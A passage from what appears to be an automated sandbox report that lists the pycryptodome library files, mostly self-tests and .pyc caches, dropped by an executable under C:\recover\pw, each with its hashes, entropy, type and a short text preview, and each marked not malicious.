Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Signature\test_pss.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	16188
Entropy (8bit):	5.334015326079158
Encrypted:	false
SSDEEP:	192:9qrskrs9t3q/ISmR/wgOLydIVOHScWJ8WuIWBExWaUYbIeDcYcOEtZ0RB2BZuOYc:0rskrs9Vq4/kbVUSdxpzcY6V5
MD5:	C3413892395D1B95715A94D5B15594F7
SHA1:	8D5566324873EB5BD0DF6DA4F43F4D23B443FDB0
SHA-256:	42CBEB606342C984B33629AA0C2D0FE9659A9518C8BB502E9AB7E23063DBE8FA
SHA-512:	5CC41F7ABDE76236C6CB3314DF824AC8947693A0273924D715771859CE0760A37553BC6554FE8B0B85DBA6F25516B024696E2DFBADFDDD0BB745F3DE855F45B6
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Util\test_Counter.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2339
Entropy (8bit):	5.202413718317069
Encrypted:	false
SSDEEP:	48:NxF/TEIB0jcQHMsvI/S3oCFcr+QuD0XTFBWTMhaja:5bfFQHvopH60XJBW4hZ
MD5:	F8501D1710CC47279356124DDD4A9A49
SHA1:	197A10A96EE658F58A107AF631A114904E4A6EC6
SHA-256:	F4DFE661669A43868A44FBDC01A60DFDDED11FC5A770E8B2554152DEC251F2D3
SHA-512:	EE8ACC076B992FB3C4409B5F04E06FBC6AD284886837BDEDD802CABC6228AF450333F9ABE374BFEDD24DE9CDBFD04CA7C06A93B03DB5CC54AD2CF5DCB4371D5B
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# SelfTest/Util/test_Counter: Self-test for the Crypto.Util.Counter module..#..# Written in 2009 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..#

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Util\test_asn1.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	32107
Entropy (8bit):	4.8144423694550875
Encrypted:	false
SSDEEP:	384:Prskrs9VqIXAYJ+oGchbBZ2XmO2CQBL7plKRA0:Pr6qIXAQ+Q1BZ2XmO2CQBL7pl30
MD5:	29B2837A29B459F7AC7356C3E4AFEE8C
SHA1:	217FF3DBCBA7ACFCD46C51E29F7198C751767E49
SHA-256:	33EE3596C53755388DD219D425DE8F1D65F3CF64346ADFA51A2DE46846A5950B
SHA-512:	577671B265BCFB82A760F83DA006EE1FC6FDAD5ED34A8CB4FEF8D48E058697840E182121E93CEB9FD81A614A2E68B9011DF204B202FFE63F9125199A22B78423
Malicious:	false
Preview:	#..# SelfTest/Util/test_asn.py: Self-test for the Crypto.Util.asn1 module..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DIS

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Util\test_number.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with very long lines (303), with CRLF line terminators
Category:	dropped
Size (bytes):	8710
Entropy (8bit):	5.184554837708348
Encrypted:	false
SSDEEP:	96:jwfFQHvoBNH2Pbvf6KWvf0RoWRfrrFSRfnb3bjVj/3pjq7PfcN1Ep3S0rZ:jwdQHvd7WvfhQrrFknb3Rpta/rZ
MD5:	8CFC6216203E8227001F370383E6DF55
SHA1:	6B104AAA274506FED8794ED9C2414D4FA94AA6C6
SHA-256:	948547B6DB811911AA4E75E5E336CED60A3BE1036D4FD6C5AC68FF86662981AF
SHA-512:	CB6A289B14960AA4CDED95E21AEF8B2C2997DD90F56D9CDC033D27AEA2818F6963880553BE13DE8B647163EFFB315AA4EC87F572BD311AA62CF72102BFCC5A63
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# SelfTest/Util/test_number.py: Self-test for parts of the Crypto.Util.number module..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT O

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\loader.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	8290
Entropy (8bit):	4.711704617154598
Encrypted:	false
SSDEEP:	192:fqrskrs9t3q/IPgznMH/wpZJ3wGp6gM9KlnR10n3kp:yrskrs9VqwgD3pZJ3np6gMaj0nc
MD5:	1CEA7121AA769ADD798184C715B0A87B
SHA1:	38A493251DCCFD8FA4324DA3BC7512D2EF0A6CB4
SHA-256:	1D9542404A9119043588ADDF20B0A69AF6023CFD5072610207A93509A4E7E0EB
SHA-512:	29086E883A414DDA4642EA3EE6119CEA6F1EACAD114AFCEDCACB65071DEFF5034CD5AD22EB88E26F9A17045C20BCBEE26AA59883D6C33D916CCA129895B4BAD7
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2016, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\st_common.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2000
Entropy (8bit):	5.225498157362526
Encrypted:	false
SSDEEP:	48:NrwEIB0jcQHMsvI/S3oCFgJ1+Ql+G8Aqbn0Quqoc9Df1UQ:JwfFQHvoj1HlOn0dqRDf1UQ
MD5:	B1A5A642E0F13E51AEE1AA096B819498
SHA1:	499EAA63461629F2883FBD1B40FFA32025CB64B4
SHA-256:	AA5EB6DDEE38BF49097C0AF6262C8B90CA0CD366AC0826DD8AAE37B63CD8B045
SHA-512:	452A98DABBD55A1EB3648CF02BA49430887609467920511907788505F9D5505C7F11EEBFF850D26722EC3F9E92B7BD14D37EA15505D09C68AD10825770D969C4
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# SelfTest/st_common.py: Common functions for SelfTest modules..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION

C:\recover\pw\Lib\site-packages\Crypto\Signature\pycache\init.cpython-310.pyc.76744592

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.213535475563592
Encrypted:	false
SSDEEP:	6:y/F31/WlJnIsICA51dJyikQSKCUICAfeT37ZgAk+UuMkArMgA5762:Ch9WllIVF1mikQ4NSDQ+UufD762
MD5:	6A8C76D4F8C538F36E0458A61ACDE454
SHA1:	26DFF38EACF2FAA28EC9F621B5E1EC927C163830
SHA-256:	D3932B7188E0F236A69145E60A1DE8AC7EF8D9409DFEEF2987343F3F2A88ADAC
SHA-512:	744FD501C768E1157EDFBEF5BEAF49AF1A2037AF1623E816E7AB931AF3328E4630715D89FA795B14B003B7E90E84DBDFC7ADB2D25985A0EDA947BBE0FCBC3678
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.g.d...Z.d.S.).zeDigital signature protocols..A collection of standardized protocols to carry out digital signatures..).Z.PKCS1_v1_5Z.PKCS1_PSSZ.DSSZ.pkcs1_15Z.pssZ.eddsaN)...__doc__..__all__..r....r.....<C:\recover\pw\lib\site-packages\Crypto\Signature\__init__.py..<module>....s........

C:\recover\pw\Lib\site-packages\Crypto\Signature\pycache\pss.cpython-310.pyc.76745152

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	10785
Entropy (8bit):	5.3197701292455
Encrypted:	false
SSDEEP:	192:31XKDu4taLRgOBEsNXAYcURRFNlm32KFO6GaVRlpBlYa:31aCI+RgslADURRV/KPGaVZBea
MD5:	B472B354DB8A45BB756B47BDFAD3F9D6
SHA1:	432B60924A2B0E96C652C5689D0362823DFB7110
SHA-256:	71A740E1918068CFBC3185E5457A881F31E5C3BA03B233E49CEA5EF7854609E6
SHA-512:	CECD2B6926E6DC17A37E9B68E5BE7F380FD217DC767B54E8D6C2BAE5CBB14E052F2621014AD44572CA406836A5C8DAED2242BCBF52D01BC5D449DE8ACB869B84
Malicious:	false
Preview:	o.........Sg.6.......................@...sz...d.d.l.m.Z.m.Z.m.Z...d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...G.d.d...d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)......)...bchr..bord..iter_rangeN)...ceil_div..long_to_bytes..bytes_to_long)...strxor)...Randomc....................@...s0...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...PSS_SigSchemezvA signature object for ``RSASSA-PSS``.. Do not instantiate directly.. Use :func:`Crypto.Signature.pss.new`.. c....................C...s....\|.\|._.\|.\|._.\|.\|._.\|.\|._.d.S.).at...Initialize this PKCS#1 PSS signature scheme object... :Parameters:. key : an RSA key object. If a private half is given, both signature and. verification are possible.. If a public half is given, only verification is possible.. mgfunc : callable. A mask generation function that accepts two parameters:. a string to use as seed, and the lenth of the mask to. genera

C:\recover\pw\Lib\site-packages\Crypto\Util\pycache\Padding.cpython-310.pyc.78516672

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2321
Entropy (8bit):	5.416150993674477
Encrypted:	false
SSDEEP:	48:obQJrnAeKJdRXlkNCiFsx3miW7WlxeKbNRT7ytqmcQg:obQJDAeqzlo2W6re637wg
MD5:	A15A0A085B1794A8623B9B4C87F1104D
SHA1:	C6F9B727F903E19B214C938BEF474369656D1EC8
SHA-256:	F0CE2A2B7484A5BBEAA49856FBC0EF4472E5CFEBC6305C1A3F120CBC81BCD897
SHA-512:	2112E215FAD1C894A9525B89D70A5B14EDB42B405853CAD6283ED5F0B3A797E646EA4682E264EC05E8EE74D2EC7E5E002625F98EF9B3452891B517037AD66658
Malicious:	false
Preview:	o.........SgE........................@...s(...d.d.g.Z.d.d.l.T.d.d.d...Z.d.d.d...Z.d.S.)...pad..unpad.....).....pkcs7c....................C...s....\|.t.\|...\|.....}.\|.d.k.r.t.\|...\|...}.\|.\|...S.\|.d.k.rt.d...\|.d.....t.\|.....}.\|.\|...S.\|.d.k.r>t.d...t.d...\|.d.......}.\|.\|...S.t.d.....).a....Apply standard padding... Args:. data_to_pad (byte string):. The data that needs to be padded.. block_size (integer):. The block boundary to use for padding. The output length is guaranteed. to be a multiple of :data:`block_size`.. style (string):. Padding algorithm. It can be 'pkcs7' (default), 'iso7816' or 'x923'... Return:. byte string : the original data with the appropriate padding added at the end.. r......x923r...........iso7816......Unknown padding style)...len..bchr..ValueError).Z.data_to_pad..block_size..style..padding_len..padding..r.....6C:\recover\pw\lib\site-packages\Crypto\Util\Padding.pyr....'...s..........................c...

C:\recover\pw\Lib\site-packages\Crypto\Util\pycache\init.cpython-310.pyc.76470832

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1092
Entropy (8bit):	4.822163571505868
Encrypted:	false
SSDEEP:	24:LlUilE4ApU2gWfri+RHvEIO4oFaQvuYjVrGivBls2/K:LiilbASgf++BcD4YaQVprGGBSR
MD5:	A41B3D4E5890FADE661628E2757E3809
SHA1:	506D96DCFF0BADF0345BC6DC2BC86BA459769C98
SHA-256:	6A2F99C70DA4BB812B54215012C17EF9145BEFD456534FE64607B5E5747D8B98
SHA-512:	23E759E99F5EE72F1E3B475EF7A495630978E294610E0EC41ECD1B370C15A1F6FEAD4F46B8EEBDA34AF9F72EB1265C62154721E2B0F69D1F52F88251945A4D52
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.g.d...Z.d.S.).a[...Miscellaneous modules..Contains useful modules that don't belong into any of the.other Crypto.* subpackages...======================== =============================================.Module Description.======================== =============================================.`Crypto.Util.number` Number-theoretic functions (primality testing, etc.).`Crypto.Util.Counter` Fast counter functions for CTR cipher modes..`Crypto.Util.RFC1751` Converts between 128-bit keys and human-readable. strings of words..`Crypto.Util.asn1` Minimal support for ASN.1 DER encoding.`Crypto.Util.Padding` Set of functions for adding and removing padding..======================== =============================================..:undocumented: _galois, _number_new, cpuid, py3compat, _raw_api.).Z.RFC1751..numberZ.strxorZ.asn1..CounterZ.PaddingN)...__doc__..__all__

C:\recover\pw\Lib\site-packages\Crypto\Util\pycache\_cpu_features.cpython-310.pyc.76742688

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	679
Entropy (8bit):	4.486777272054804
Encrypted:	false
SSDEEP:	12:CxQ4UlabXgAin19S07ogf2mv99J+di+ymIm+l:MUliQAin19SkXf2+J+dBIL
MD5:	5BD3CDD392B6DC42230CDEE203B3E927
SHA1:	45EF295D961F27F427B4508627ABFAE1FACF1831
SHA-256:	201CF40E91C73E01A4672269566F1B2E7364AFD6E1AC85A9E7C777E3032B8AD8
SHA-512:	65177C4124F56BE5A1C8C39EB0A7A90054755ADD1A1376076674A8DA3DD593025182953DABB5690C3B1F22323592CABEB82F4369D15FD2529A5970F78377EA61
Malicious:	false
Preview:	o.........Sg.........................@...s*...d.d.l.m.Z...e.d.d...Z.d.d...Z.d.d...Z.d.S.)......)...load_pycryptodome_raw_libz.Crypto.Util._cpuid_cz.. int have_aes_ni(void);. int have_clmul(void);. c....................C........t.....S...N)..._raw_cpuid_lib..have_aes_ni..r....r.....<C:\recover\pw\lib\site-packages\Crypto\Util\_cpu_features.pyr....)..........r....c....................C...r....r....).r......have_clmulr....r....r....r....r....-...r....r....N)...Crypto.Util._raw_apir....r....r....r....r....r....r....r......<module>....s................

C:\recover\pw\Lib\site-packages\Crypto\Util\pycache\_file_system.cpython-310.pyc.76882960

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	5.278329492390717
Encrypted:	false
SSDEEP:	12:ClyeLuq3pxEgiVfDITrCZvZBQcOiKZRGOSzJVxsC8m4sEjVxMtnOrSJN8HzyT29I:MLuapeA2HBZ8SlwC8ES3OyHzG28M/3k
MD5:	C980EFA5B0BF22BA1251D1514C9CC811
SHA1:	934A26D95F4B9167931375B99BA336546FC56C8D
SHA-256:	C6B2F7373895E4C1F0281B72EDD5E23D8157ECA10245EE1264D1547E57F0BFBE
SHA-512:	9BADEDDFB1FC1FB05DC4B2A4D5F0B0D26A6B74F6567CA92005F1C399475B8677BEEEF1AE81B8126E588862DE8485AA2564456D1A659EE5587D26D3EFB825B44E
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.Z.d.d...Z.d.S.)......Nc....................C...sd...\|.d...d.k.r.t.d.....t.\|.d.d.......\|.g...}.t.j...t.j...t.....\.}.}.t.j...\|.d...}.t.j.j.\|.g.\|...R...S.).a....Return the complete file name for the module.. dir_comps : list of string. The list of directory names in the PyCryptodome package.. The first element must be "Crypto"... filename : string. The filename (inclusing extension) in the target directory.. r....Z.Cryptoz)Only available for modules under 'Crypto'.....Nz...)...ValueError..list..os..path..split..abspath..__file__..join)...dir_comps..filenameZ.util_lib.._Z.root_lib..r.....;C:\recover\pw\lib\site-packages\Crypto\Util\_file_system.py..pycryptodome_filename"...s................r....).r....r....r....r....r....r......<module>....s........

C:\recover\pw\Lib\site-packages\Crypto\Util\pycache\_raw_api.cpython-310.pyc.76882288

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	8715
Entropy (8bit):	5.198452519858589
Encrypted:	false
SSDEEP:	192:rhLCEONC31/QtcU4/GPCenzp7Qb+RQrBIQIu7XNNHD0yXNvjB2IatSxB/dbJg1uw:rhWEONC31ItcUGGPCenzp7Qb+RQrBIQO
MD5:	F477CD8F4083E66403E44349EEE1662A
SHA1:	6B9329185F09399783B6A32E5F9AB776A7E24576
SHA-256:	16D41161B7B1ADF8CEFDA485A154DF34A1F0668D78DF2A665B1601E281D7A858
SHA-512:	184C6BC9E92AFBC4CFACF78CC086C56BBC02ABE8697C1289FBC3CE7B32576EC7307FD5923B2EA03178D2511C08BD6C62C293D6D4A2E8A6370FEAFBC86BB5D073
Malicious:	false
Preview:	o.........Sg}.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...e.j.d...d.k.r:d.d.l.Z.g.Z.e.....D.].\.Z.Z.Z.e.e.j.k.r8e...e.....q)n.d.d.l.m.Z...e.j.Z.e.e.f.Z.G.d.d...d.e...Z.zkd.e.j.v.r_e.j.j.d.k.r_e.d.....e.j.d.k.rme.j.d.k.rme.d.....d.d.l.m.Z...e...Z.e.j Z!e.."e..#d.....Z$e..#d...j%j&Z'd.d...Z(d.d...Z)e)Ze)Z+e)Z,d.d...Z-d;d.d...Z.d.d...Z/d.d...Z0d.d...Z1G.d.d ..d e...Z2d!d"..Z3d#Z4W.nt..e...y.......d.d.l5Z5d.d$l5m6Z6m7Z7m8Z8m)Z)mZm-Z-m.Z.m,Z,m+Z+..d.d%l9m:Z:..d.d&l5m;Z'..d.Z!g.Z<d'd(..Z,d)d...Z(d*d...Z/d+d...Z0e5j=Z>d.Z?e5j@jAZBe5j@jCZDe5jEZFe5.Ge>..ZHG.d,d-..d-e5jI..ZJd.d...Z1G.d/d0..d0e...ZKd1d"..Z3d2Z4Y.n.w.G.d3d4..d4e...ZLd5d6..ZMd7d8..ZNd9d:..ZOd.S.)<.....N)...byte_string)...pycryptodome_filename.....)...machineryc....................@...s(...e.Z.d.Z.e.j.d.d.....Z.e.j.d.d.....Z.d.S.)..._VoidPointerc....................C........d.S.).z&Return the memory location we point toN......selfr....r.....7C:\recover\pw\lib\site-packages\Crypto\Util\_raw_api.

C:\recover\pw\Lib\site-packages\Crypto\Util\pycache\asn1.cpython-310.pyc.77779704

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	30860
Entropy (8bit):	5.2212347204549525
Encrypted:	false
SSDEEP:	768:6z1Enqf1DECvkHf9R3OPtm6q3YZHjSgfShUUEV6:6ziCIRePYN3YZHeDzEV6
MD5:	F6F870EB49D26F705A93032334E3D587
SHA1:	E9BC99976EB77F433B8C267144229F81129D83D9
SHA-256:	2B6A9A3DCF0E40EBD04B16659BA4B74967FF320C4E91D270941E062C23908097
SHA-512:	22DCEAB8945C7276EFC7790F5B34D8DCD31CEDCCCE7B4BC4D13AD45FA528FA3C53FBA4C306533F15DFE2422EF34D6A8ECADADA8EB3D7047639E48B17C9B1982C
Malicious:	false
Preview:	o.........Sgq........................@...s....d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...g.d...Z.d.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.)......N)...byte_string..bchr..bord)...long_to_bytes..bytes_to_long)...DerObject..DerInteger..DerBoolean..DerOctetString..DerNull..DerSequence..DerObjectId..DerBitString..DerSetOfFc....................C...s4...d.}.z.\|.\|...}.W.n...t.y.......Y.d.S.w.\|...p.\|.d.k.S.).Nr....F)...TypeError)...x..only_non_negative..test..r.....3C:\recover\pw\lib\site-packages\Crypto\Util\asn1.py.._is_number(...s..................r....c....................@...s@...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...BytesIO_EOFzeThis class differs from BytesIO in that a ValueError exception is. raised whenever EOF is reached.c....................C...s....\|.\|._.d.\|._.d.\|._.d.S...Nr....)..._buffer.._index.._bookmark)...selfZ.in

C:\recover\pw\Lib\site-packages\Crypto\Util\pycache\number.cpython-310.pyc.77106880

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	61113
Entropy (8bit):	5.245890679034291
Encrypted:	false
SSDEEP:	1536:thhCN5kZjyUy0lwXEgNjOtg78YrIn6VhjlLQ5DR4wLDzwK2csHXV:thQkpyUy0lsEgZOtg78sI6VTLQ5DRvv6
MD5:	D689293C9999E05676971A3ACB2EC6A2
SHA1:	962B281A3B4C90E1C209619E6C48F767A2DEA505
SHA-256:	CB0FE28E5D8EE40732DFF70FB29CE39584220E91F96A587CEBD62569978ADC84
SHA-512:	5B02CB0383E7E93D27F26C903536E6E55F897D67F876F014218B14DD75D9A8C83D1088807D84EF9D60FFBBA3D5CC4A12F3C77755EB47E07D5A39A4EB96F6EF6C
Malicious:	false
Preview:	o.........Sgh~.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.Z.d.d...Z.d.d...Z.d(d.d...Z.d(d.d...Z.d(d.d...Z.e.j.d.d.....d.k.r>e.j.Z.n.d.d...Z.e.j.d.d.....d.k.rPd.d...Z.n.d.d...Z.d(d.d...Z.d(d.d...Z.d)d.d...Z.dd.d...Z.d.d.l.Z.d+d.d ..Z.d!d"..Z.d.d.l.Z.d+d#d$..Z.d%d&..Z.d'Z.d.S.),.....N)...Random)...iter_rangec....................C...sP...\|.d.k.r.t.....\|.d.k.s.\|.d.k.r.t.d.....t.\|.\|...\.}.}.\|.d.k.r&\|.d.k.r&\|.d.7.}.\|.S.).zDReturn ceil(n/d), that is, the smallest integer r such that rd >= nr....z.Non positive values.....)...ZeroDivisionError..ValueError..divmod)...n..d..r..q..r.....5C:\recover\pw\lib\site-packages\Crypto\Util\number.py..ceil_div%...s....................r....c....................C...s....\|.d.k.r.t.d.....\|.....S.).z)Returns the size of the number N in bits.r....z4Size in bits only available for non-negative numbers).r......bit_length)...Nr....r....r......size2...s..........r....c....................C...sZ...\|.d.u.r.t.j.}.\|.\|.d.?...}.\|.d..

C:\recover\pw\Lib\site-packages\Crypto\Util\pycache\py3compat.cpython-310.pyc.76882176

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5232
Entropy (8bit):	4.9083063306746135
Encrypted:	false
SSDEEP:	96:gcF/EpktYDLOjIWTmpSaRBF7mgcuDi/e/7/9whOJZg+6B6cGZ2B+uWc7xUK6It:gW/EpkGUIW82auWzL0zJU+
MD5:	F387529E4BBF2838A3F91959018C5E9A
SHA1:	CE46BEC58399EC07B760DFB3C60C4869009EF258
SHA-256:	C2BFB8A3CA1F8274232B345684F94CD869CF51AFC533C02284EF6B14D03EDA63
SHA-512:	5E47A7910D86316876507A6B6D7DC8C27CAFA3F1F708A129C347BD0084974D89CE2A3D394E0EAFA5012A97AD95D1533AF5A9E92217D651CB8E7F9F57B65523B8
Malicious:	false
Preview:	o.........Sgz........................@...sX...d.Z.d.d.l.Z.d.d.l.Z.e.j.d...d.k.r[d.d...Z.d.d...Z.d.d...Z.d.d...Z.d0d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d.l.m.Z...e.Z.d.d.l.m.Z...e.Z.d.d...Z.d.d...Z.d.d...Z.e...d.e.f.d.d.i...Z.e.Z.nId d...Z.d!d...Z.d"d...Z.d#d...Z.d0d$d...Z.d%d...Z.d&d...Z.d'd...Z.d.d(l.m.Z...d.d.l.m.Z...d.d)l.m.Z...e.Z.d*d...Z.d+d...Z.d,d...Z.d.d-l.m.Z...e.Z.d.d/..Z.[.[.d.S.)1a....Compatibility code for handling string/bytes changes from Python 2.x to Py3k..In Python 2.x, strings (of type ''str'') contain binary data, including encoded.Unicode text (e.g. UTF-8). The separate type ''unicode'' holds Unicode text..Unicode literals are specified via the u'...' prefix. Indexing or slicing.either type always produces a string of the same type as the original..Data read from a file is always of '''str'' type...In Python 3.x, strings (type ''str'') may only contain Unicode text. The u'...'.prefix and the ''unicode'' type are now redundant. A new type (called.''bytes'') has to b

C:\recover\pw\Lib\site-packages\Crypto\Util\pycache\strxor.cpython-310.pyc.77982176

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3243
Entropy (8bit):	5.085872604001141
Encrypted:	false
SSDEEP:	48:VjdkxR/B0sI/LU/kwf+RDQ+XfxGvRrccFVQuWP/Z6mQaG8PR02B4Ho4Uw7sR:Vxkv/3WLJwyJfmRrccFuz/Z6CG8G1hW
MD5:	229192335A2CD697D03F001D26316374
SHA1:	FC37DDA8604403BCBC8475439F481ADE171BA4BD
